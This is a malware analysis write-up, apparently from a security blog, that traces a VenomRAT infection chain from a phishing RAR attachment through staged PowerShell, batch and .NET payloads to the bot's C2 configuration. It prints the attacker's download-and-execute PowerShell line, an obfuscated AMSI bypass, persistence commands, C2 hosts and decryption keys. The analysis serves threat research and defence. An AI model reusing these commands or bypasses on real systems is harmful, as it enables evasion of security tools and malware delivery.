Contents

hello little VenomRAT stealer :p

Analysis

Last week I discovered a strange RAR file that looks very suspicious, I had to analyze it.

We start from a phishing email from [email protected]with an encrypted RAR file attached. It’s being downloaded fromhxxps://qaenatsaffron[.]cmail20.][com/t/y-l-qkyjljy-hhtrldtjyh-r/. We have the password for the encrypted RAR inside the email: qaenat.

7da93091ebd0fa713cbd4e1eb377fed9ec2cf9d2215e618ed6533b8ad1309e35 QAENAT_HR_TALENTACQUISITION_JD_Q2_AND_QA.rar

Once the RAR decompressed, we eventually find 4 files:

All the PNG files are legitimate but the last one, QAENAT_DIGITALMARKETING_MANAGER_JD.pdf is a Windows shortcut. When we look at it’s properties, we can see that he runs a PowerShell command line:

The full command line:

C:\Windows\System32\rundll32.exe shell32.dll,ShellExec_RunDLL powershell -w 1 -nop -c "$a='Invo';$b='ke-Ex';$c='pres';$d='sion';$e=$a+$b+$c+$d;$f='Invo';$g='ke-Re';$h='stMe';$i='thod';$j=$f+$g+$h+$i; &$e (&$j 'https://qaenatsaffron.com/images/e87dccb3b40741bc

It looks incomplete because by default Windows will truncate the full target. C:\path\to\file.lnk Here’s a mini script to recover the full target:

$shell = New-Object -ComObject WScript.Shell
$link = $shell.CreateShortcut("C:\QAENAT_DIGITALMARKETING_MANAGER_JD.pdf.lnk")
$link | Format-List *

And now we have the full payload:

shell32.dll,ShellExec_RunDLL powershell -w 1 -nop -c "$a='Invo';$b='ke-Ex';$c='pres';$d='sion';$e=$a+$b+$c+$d;$f='Invo';$g='ke-Re';$h='stMe';$i='thod';$j=$f+$g+$h+$i; &$e (&$j 'https://qaenatsaffron.com/images/e87dccb3b40741bc93c8097a3fcc13fe.png'); Remove-Item *.lnk -Force"

We can see that it’s downloading a “png” file from the web and execute it.

Basically, we have this command that has been executed on the system:

irm https://qaenatsaffron.com/images/e87dccb3b40741bc93c8097a3fcc13fe.png | iex

So I downloaded the e87dccb3b40741bc93c8097a3fcc13fe.pngfile to see what’s inside, but certainly not a standard PNG.

Here is the content of the PNG file:

  1. The first line is disabling the AMSI (for the current process only!)
  2. The line 4 and 5 are creating a file named 7765e9f2-f2c2-44d6-9198-652feaa54bb8.bat
  3. The line 6 and 7 are running the bat file (yes, twice..)
  4. The line 8-10 are creating a real PDF named QAENAT_JD_DIGITAL_MARKETING_MANAGER_Q2.pdf to look legitimate and run it

Here is the first line one the previous PowerShell script, let’s decompose it:

  1. The first line is an obfuscated payload that is used to disable the AMSI:
[reF].AsseMbLY.GeTTYPe(([TEXT.ENcODiNg]::UTF8.GeTsTRing((83,121,115,116,101,109,46,77))+[teXt.ENcOdInG]::UTF8.getSTrinG((97,110,97,103,101,109,101))+[TExt.ENCoDIng]::UTF8.geTstring([coNVERT]::FromBase64String('bnQu'))+[TEXt.encOdiNg]::UTF8.GETStRIng([cOnverT]::FromBase64String('QXV0b21hdA=='))+[TEXt.enCoding]::UTF8.gEtstriNg([coNVERT]::FromBase64String('aW9uLkFtc2k='))+[tEXt.eNCODIng]::UTF8.GEtsTriNg((85,116,105,108,115)))).geTfIeLd([text.encODInG]::UTF8.GeTSTRINg((97,109,115,105,73,110,105,116,70))+[teXT.ENCODIng]::UTF8.GEtstRinG((97,105,108,101,100)),[TExT.eNCodInG]::UTF8.geTStRIng((78,111,110,80,117,98,108))+[Text.EnCoDing]::UTF8.geTstRiNg((105,99,44,83,116,97,116,105,99))).sEtValuE(910-910,128-eq128);

And looks like this once deobfuscated:

[System.Management.Automation.AmsiUtils].GetField("amsiInitFailed","NonPublic,Static").SetValue($null, $true)

So the code sets amsiInitFailed flag to True, effectively disabling AMSI checks for that PowerShell host/session.

Inside the first “png” file that is in reality a PowerShell script lies an obfuscated .bat file. It can be easily disarmed to see its content.

Inside the .bat file, at the line 148, lies a sleeping payload that is commented.

This payload will not be executed yet but it will be used for another stage of the attack.

The last line of the .bat file is the execute part.

To disarm it, we can simply add an echo keyword before to print the content.

When we print the content of the payload once in clear-text, it looks like this:

It can be split into sub-payloads:

  1. Download and execute the following PowerShell script: https://gist.githubusercontent(.)com/_gobeanalee_/bd7e8c7bf23d08ccf1953bf09a651098/raw/. It is used to by-pass the AMSI protection
  2. XOR many bytes with the key 92 (in decimal) and execute them.

The bytes can be decoded in CyberChef:

We now have our next stage, the in-memory PowerShell execution.

The second part of the payload can be rendered (once XORed with 92) as:

This payload take the previous .bat file and replace the :: symbol (a comment in bat script) with nothing. Basically, it arms another stage of the attack. Once the :: symbol removed, it splits the content of the line when it crosses the \ symbol (line 27).

The sleeping payload inside the .bat can be split in two.

Lucky Lucky, the AES encrypted and base64 encoded payloads can be decrypted easily because the key and IV are in plaintext.

$a.Key=[Convert]::FromBase64String('nQvTLQTAqwuYQflYcjdGQ4U1ZSUDZVNyPw4JRG71X9I=');
$a.IV=[Convert]::FromBase64String('pWbZqVwtuPGVnjekdycmjQ==');

The following stage can be easily decrypted and dumped in two different payloads. The current PowerShell payload will execute them. The payloads can be extracted from CyberChef:

Hash Filename
a9dcaa1665f18f16a8f3d930f7db74cd5c6771cf15434845629e61aa74863545 stage3.1.exe
c3b0326f2fac8cdcadaba746ead4e96f1d34cb1a70c0f78834d98c2fdfdf274e stage3.2.exe

Once again, our threat actor is disabling the AMSI. When we load the first PE inside dnSpy (64bits), we can quickly determine that this payload is trying to inject something inside another process.

It sifts through the whole memory of the process with VirtualQuery from address 0 up to the maximum address for the process.

Then it reads all bytes from that memory region using ReadProcessMemory.

It looks for clr.dllthat is the .NET engine.

Scans the memory region for the AMSISCANBUFFER known byte pattern:

This is a byte signature representing the AMSI function AmsiScanBuffer. Whenever it finds the AMSICANBUFFER, it changes the memory protection of this memory zone by PAGE_EXECUTE_READWRITE (64U) with VirtualProtect. It inserts null bytes in this region so it disable it basically. It modifies its own memory so thats stealthier.

The next payload is the second one that we could extract from the .bat file

This one is performing multiple security checks such as IsAdmin or IsDebuggerPresent:

It checks if a debugger is present and if yes, it will exit the process:

We can see that the malware is looking if it’s being executed inside a Virtual Machine environnement:

The binary is patching ETW capabilities by replacing the beginning of EtwEventWrite with a return instruction (depending of the CPU architecture):

The method InstallStartup() achieves persistence by creating a scheduled task if the user is Admin, or a Run registry key if not.

InstallStartup creates two files in %APPDATA%:

  • NetStats_Sys_<1-1000>.bat — the actual payload (copied from batPath)
  • NetStats_Sys_<1-1000>.vbs — a VBScript wrapper that launches the BAT. It is created inside InstallStartup.

The content of the .vbs file:

Dim filePath, fso
	filePath = "%APPDATA%\NetStats_Sys_<1-1000>.bat"
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(filePath) Then
    CreateObject("WScript.Shell").Run """%APPDATA%\NetStats_Sys_<1-1000>.bat""", 0
End If

And the scheduled task is executing the .vbs file that is executing the .bat file:

Register-ScheduledTask -TaskName 'NetStats_<1-1000>_Sys' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%APPDATA%\NetStats_Sys_<1-1000>.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

The InstallStartup method takes only one argument: the Console.Title. It means that the name of the console is the original bat file, and it is being sent to the InstallStartup, such as InstallStartup("C:\Users\user\Downloads\job-offer\JOB-OFFER.pdf.bat"). Our original bat file is used to persistence and run the whole chain of attack at logon with the registry keys or scheduled task.

And finally, we can see that there’s a payload.exe that lies silently inside the Resources:

Inside the Main, we can see the name payload.exe that is loaded and decrypted on memory.

Lucky us, the AES CBC key and IV are in clear text. We can now save to file the payload.exe, put it in Cyberchef and decrypt it with the right recipe.

Now we have our stage 4, the previously decrypted payload.exe. For another round, the executable hides a base64 encoded and AES encrypted payload inside its resources. This time the key and IV aren’t in plain text.

Our little loader.exe is catching a special exception if one of the following process are up and running on the host. Among them there is dnSpy, which is currently my debugger. It makes my program throwing an exception everytime I debug it.

The exception:

Let’s patch this list. Right clic on the entry that we are willing to change (for us: dnSpy) inside the array and clic on Analyze:

Double click on the assigned by and then, our 5th line represent the value of dnSpy inside the array. We can patch it.

We eventually find this value: 339749093334976L.

We can translate the value into hexadecimal because we will open the loader.exe inside a Hex editor:

We now have the value in hexadecimal: 0x1350000055FC0. We need to search inside the hexadecimal of the file. We reverse the order to be in little endian and search for C05F05:

We have found our dnSpy value here! So let’s change it with garbage (just one byte is enough, for example: 01 35 00 00 04 5F C0) et save our executable. Load the new one and put a breakpoint at the same instruction just to check if the patch is working:

And now we are ready for the annoying functions.

Inside the main function, there is 4 different functions:

The two first ones are really annoying. They are performing multiple security check (like if it’s in a VM, if a debugger is present etc…). All the checks are leading to the Exception() if it is not passed correctly. Here’s the snippet of the annoying functions:

What we can do first is setting breakpoints inside the decryption function (IVNXS_ad)

And also in our Main():

Now, whenever it hits the line 77, we can set the next instruction to the line 79 and hit Continue:

And finally we will be hitting the decryption of the resource!

Let’s continue the execution until we can see the AES key and IV:

We can now hit the road to CyberChef and decrypt the resource and pull out the final stage:

The binary is heavily obfuscated, we will have to run de4dot.exe which is a .NET deobfuscator. It is not maintained anymore but it still rocks.

de4dot.exe stage5-obfuscated.exe

This will generate a stage5-obfuscated-cleaned.exe, which is our new clean sample to work with.

Let’s try the dynamic analysis of this binary! We can put the breakpoints around these lines:

By setting up some breakpoints inside the GClass5, we can grab the configuration of the bot.

The first line to be printed is the MasterKey (HErsfPRoNPnoHuVwD8hc0KQ8hGDTbxue). The key is base64 encoded.

It is used to derive the IV and the AES key. It takes the 32 first for the IV and the 64 first for the key:

Following the execution, we can find the C2 configuration:

Inside the configuration we can find the name qaenat_3 or QAENAT 3, which makes me remember the initial domain name qaenatsaffron.com. It might a kind of identifier for the threat actor:

Inside the configuration, we can find multiple value (without a key) set to null or false. I didn’t find any field that could be related to.

Following the execution flow, we can determine the C2 server certificate:

We can extract it:

MIICOTCCAaKgAwIBAgIVAIqbh1udvXcOLHjCqKYRIHIzV5cpMA0GCSqGSIb3DQEBDQUAMGoxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEfMB0GA1UECgwWVmVub21SQVQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDMxMzEyMjAwMloXDTM0MTIyMTEyMjAwMlowEzERMA8GA1UEAwwIVmVub21SQVQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAIpBNX0Mj7PUOAcOUEn/4G9WOFuSVhjWq1DaRJqjjTYj++/2xlcODCHRIDW1qEFAzUEu22I5MaAk6iY97Tljczpm3hTHDsvVLJwZoJlo+PU331J87R6CDTWeBrdvvKLgqkO6ouhorHZ9RpqDFVHmnbj+M+X/ZRxCNniZVSdlZsFDAgMBAAGjMjAwMB0GA1UdDgQWBBT9SuIAWkcf9SIzlD6f88TpQ3TIejAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH0uaDPZB/weSy3AzHYbLYgh1C/umU9RGuAaEdAIjP8AvZpYfff7Lbnx+oxrcelZvKh6yv0+pUKGFwtoAK6Q8wL0HxjvLQUaiS2UEWjnjcbgJZf1k0QBrHuX9grjjtZglUNluU0SPPOhQpa0ej1VTZ11d/1bAfYpLWZtIztBXP1x

By adding the following strings, we will be able to decode it:

-----BEGIN CERTIFICATE-----
MIICOTCCAaKgAwIBAgIVAIqbh1udvXcOLHjCqKYRIHIzV5cpMA0GCSqGSIb3DQEBDQUAMGoxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEfMB0GA1UECgwWVmVub21SQVQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDMxMzEyMjAwMloXDTM0MTIyMTEyMjAwMlowEzERMA8GA1UEAwwIVmVub21SQVQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAIpBNX0Mj7PUOAcOUEn/4G9WOFuSVhjWq1DaRJqjjTYj++/2xlcODCHRIDW1qEFAzUEu22I5MaAk6iY97Tljczpm3hTHDsvVLJwZoJlo+PU331J87R6CDTWeBrdvvKLgqkO6ouhorHZ9RpqDFVHmnbj+M+X/ZRxCNniZVSdlZsFDAgMBAAGjMjAwMB0GA1UdDgQWBBT9SuIAWkcf9SIzlD6f88TpQ3TIejAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH0uaDPZB/weSy3AzHYbLYgh1C/umU9RGuAaEdAIjP8AvZpYfff7Lbnx+oxrcelZvKh6yv0+pUKGFwtoAK6Q8wL0HxjvLQUaiS2UEWjnjcbgJZf1k0QBrHuX9grjjtZglUNluU0SPPOhQpa0ej1VTZ11d/1bAfYpLWZtIztBXP1x
-----END CERTIFICATE-----

We can decode the certificate:

openssl x509 -in cert.bin -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            8a:9b:87:5b:9d:bd:77:0e:2c:78:c2:a8:a6:11:20:72:33:57:97:29
        Signature Algorithm: sha512WithRSAEncryption
        Issuer: CN=VenomRAT Server, OU=qwqdanchun, O=VenomRAT By qwqdanchun, L=SH, C=CN
        Validity
            Not Before: Mar 13 12:20:02 2024 GMT
            Not After : Dec 21 12:20:02 2034 GMT
        Subject: CN=VenomRAT
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:8a:41:35:7d:0c:8f:b3:d4:38:07:0e:50:49:ff:
                    e0:6f:56:38:5b:92:56:18:d6:ab:50:da:44:9a:a3:
                    8d:36:23:fb:ef:f6:c6:57:0e:0c:21:d1:20:35:b5:
                    a8:41:40:cd:41:2e:db:62:39:31:a0:24:ea:26:3d:
                    ed:39:63:73:3a:66:de:14:c7:0e:cb:d5:2c:9c:19:
                    a0:99:68:f8:f5:37:df:52:7c:ed:1e:82:0d:35:9e:
                    06:b7:6f:bc:a2:e0:aa:43:ba:a2:e8:68:ac:76:7d:
                    46:9a:83:15:51:e6:9d:b8:fe:33:e5:ff:65:1c:42:
                    36:78:99:55:27:65:66:c1:43
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                FD:4A:E2:00:5A:47:1F:F5:22:33:94:3E:9F:F3:C4:E9:43:74:C8:7A
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha512WithRSAEncryption
    Signature Value:
        7d:2e:68:33:d9:07:fc:1e:4b:2d:c0:cc:76:1b:2d:88:21:d4:
        2f:ee:99:4f:51:1a:e0:1a:11:d0:08:8c:ff:00:bd:9a:58:7d:
        f7:fb:2d:b9:f1:fa:8c:6b:71:e9:59:bc:a8:7a:ca:fd:3e:a5:
        42:86:17:0b:68:00:ae:90:f3:02:f4:1f:18:ef:2d:05:1a:89:
        2d:94:11:68:e7:8d:c6:e0:25:97:f5:93:44:01:ac:7b:97:f6:
        0a:e3:8e:d6:60:95:43:65:b9:4d:12:3c:f3:a1:42:96:b4:7a:
        3d:55:4d:9d:75:77:fd:5b:01:f6:29:2d:66:6d:23:3b:41:5c:
        fd:71

And inside, we can find a useful information: Issuer: CN=VenomRAT Server, OU=qwqdanchun, O=VenomRAT By qwqdanchun, L=SH, C=CN, showing that the certificate contains a username: qwqdanchun. After few research, we can find the following accounts:

We can find other certificates based on at least two factors: The issuer,VenomRAT By qwqdanchun and VenomRAT Server. We can take a look in fofa and see:

There is for the moment at least 329 other C2 servers that are using the same kind of certificate. The OPSEC bro……

During the debugging, we can set a breakpoint to see the fingerprint of the victim. This is used probably used as an ID to determine who is who.

It is composed by:

  • Environment.ProcessorCount,
  • Environment.UserName,
  • Environment.MachineName,
  • Environment.OSVersion,
  • new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize

The ID is the MD5 of the following string:

4userDESKTOP-B0TJ8QMMicrosoft Windows NT 6.2.9200.075106009088

We can now bring this configuration:

Key Value
Port 4449
domain xssdotis.zapto.org
Version 1.7.6
? False
ID qaenat_3
? NULL
? FALSE
? FALSE
? FALSE
ID QAENAT 3
Fingerprinting 68C4F9836A5C3C3710D8

Conclusion

It was funny to analyze and it’s still funny to see the bad OPSEC of some threat actors…. like lol…. Big thank you to @roubachof_ for his help with this malware sample <3